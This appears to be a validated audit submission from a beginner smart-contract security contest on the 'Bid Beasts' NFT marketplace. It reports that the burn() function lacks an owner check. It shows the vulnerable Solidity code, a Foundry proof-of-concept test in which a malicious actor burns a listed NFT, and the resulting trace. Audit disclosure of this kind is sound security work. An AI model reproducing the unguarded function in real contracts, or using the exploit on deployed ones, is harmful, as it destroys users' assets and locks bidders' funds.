Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of access control in `BidBeasts::burn()` function, allow malicious actors to burn BidBeasts NFTs

Lack of access control in BidBeasts::burn() function, allow malicious actors to burns BidBeasts NFTs

Description

The only person who can burn BidBeast NFT is the person who owns the NFT, but in the BidBeasts contract, the BidBeasts::burn() function does not have access control.

//@audit-issue where is the access control? anyone could burn someone NFT's only by TokenId
@> function burn(uint256 _tokenId) public {
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}

Risk

Likelihood:

  • Malicious actors can burns those BidBeasts NFTs anytime as long those NFTs exist.

  • A malicious actor can burn those BidBeasts NFTs simply by providing the token ID.


Impact:

  • BidBeasts NFTs marketplace will not function as it should as a marketplace.

  • No Bidder would receive the NFT because the NFT is not exist anymore even the auction is ended.

  • ETH stuck in the contract BidBeastsNFTMarketPlace

Proof of Concept

copy the PoC and paste it in BidBeastsNFTMarketPlaceTest.t.sol

function test_maliciousActorCanBurnNFT() public {
_mintNFT();
_listNFT();
// malicious actor burn the NFT
vm.prank(maliciousActor);
nft.burn(TOKEN_ID);
// bidder place their bid without knowing the NFT is burned
vm.prank(BIDDER_1);
market.placeBid{value: MIN_PRICE + 1}(TOKEN_ID);
market.getListing(TOKEN_ID);
// auction end
vm.warp(block.timestamp + 900);
vm.expectRevert();
// somebody call settleAuction
vm.prank(BIDDER_2);
market.settleAuction(TOKEN_ID);
}

the log:

[PASS] test_maliciousActorCanBurnNFT() (gas: 280892)
Traces:
[356381] BidBeastsNFTMarketTest::test_maliciousActorCanBurnNFT()
├─ [0] VM::startPrank(ECRecover: [0x0000000000000000000000000000000000000001])
│ └─ ← [Return]
├─ [74067] BidBeasts::mint(SHA-256: [0x0000000000000000000000000000000000000002])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: SHA-256: [0x0000000000000000000000000000000000000002], tokenId: 0)
│ ├─ emit BidBeastsMinted(to: SHA-256: [0x0000000000000000000000000000000000000002], tokenId: 0)
│ └─ ← [Return] 0
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(SHA-256: [0x0000000000000000000000000000000000000002])
│ └─ ← [Return]
├─ [25508] BidBeasts::approve(BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0)
│ ├─ emit Approval(owner: SHA-256: [0x0000000000000000000000000000000000000002], approved: BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], tokenId: 0)
│ └─ ← [Stop]
├─ [128588] BidBeastsNFTMarket::listNFT(0, 1000000000000000000 [1e18], 5000000000000000000 [5e18])
│ ├─ [1094] BidBeasts::ownerOf(0) [staticcall]
│ │ └─ ← [Return] SHA-256: [0x0000000000000000000000000000000000000002]
│ ├─ [29510] BidBeasts::transferFrom(SHA-256: [0x0000000000000000000000000000000000000002], BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 0)
│ │ ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], tokenId: 0)
│ │ └─ ← [Stop]
│ ├─ emit NftListed(tokenId: 0, seller: SHA-256: [0x0000000000000000000000000000000000000002], minPrice: 1000000000000000000 [1e18], buyNowPrice: 5000000000000000000 [5e18])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::prank(maliciousActor: [0x195Ef46F233F37FF15b37c022c293753Dc04A8C3])
│ └─ ← [Return]
├─ [5552] BidBeasts::burn(0)
│ ├─ emit Transfer(from: BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], to: 0x0000000000000000000000000000000000000000, tokenId: 0)
│ ├─ emit BidBeastsBurn(from: maliciousActor: [0x195Ef46F233F37FF15b37c022c293753Dc04A8C3], tokenId: 0)
│ └─ ← [Stop]
├─ [0] VM::prank(RIPEMD-160: [0x0000000000000000000000000000000000000003])
│ └─ ← [Return]
├─ [72627] BidBeastsNFTMarket::placeBid{value: 1000000000000000001}(0)
│ ├─ emit AuctionSettled(tokenId: 0, winner: RIPEMD-160: [0x0000000000000000000000000000000000000003], seller: SHA-256: [0x0000000000000000000000000000000000000002], price: 1000000000000000001 [1e18])
│ ├─ emit AuctionExtended(tokenId: 0, newDeadline: 901)
│ ├─ emit BidPlaced(tokenId: 0, bidder: RIPEMD-160: [0x0000000000000000000000000000000000000003], amount: 1000000000000000001 [1e18])
│ └─ ← [Stop]
├─ [2122] BidBeastsNFTMarket::getListing(0) [staticcall]
│ └─ ← [Return] Listing({ seller: 0x0000000000000000000000000000000000000002, minPrice: 1000000000000000000 [1e18], buyNowPrice: 5000000000000000000 [5e18], auctionEnd: 901, listed: true })
├─ [1403] BidBeastsNFTMarket::getHighestBid(0) [staticcall]
│ └─ ← [Return] Bid({ bidder: 0x0000000000000000000000000000000000000003, amount: 1000000000000000001 [1e18] })
├─ [2122] BidBeastsNFTMarket::getListing(0) [staticcall]
│ └─ ← [Return] Listing({ seller: 0x0000000000000000000000000000000000000002, minPrice: 1000000000000000000 [1e18], buyNowPrice: 5000000000000000000 [5e18], auctionEnd: 901, listed: true })
├─ [437] BidBeastsNFTMarket::S_AUCTION_EXTENSION_DURATION() [staticcall]
│ └─ ← [Return] 900
├─ [0] VM::warp(901)
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error 0xf4844814)
│ └─ ← [Return]
├─ [0] VM::prank(Identity: [0x0000000000000000000000000000000000000004])
│ └─ ← [Return]
├─ [7816] BidBeastsNFTMarket::settleAuction(0)
│ ├─ [4316] BidBeasts::transferFrom(BidBeastsNFTMarket: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], RIPEMD-160: [0x0000000000000000000000000000000000000003], 0)
│ │ └─ ← [Revert] ERC721NonexistentToken(0)
│ └─ ← [Revert] ERC721NonexistentToken(0)
└─ ← [Stop]

Recommended Mitigation

Check is the msg.sender owned the BidBeast NFT

Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!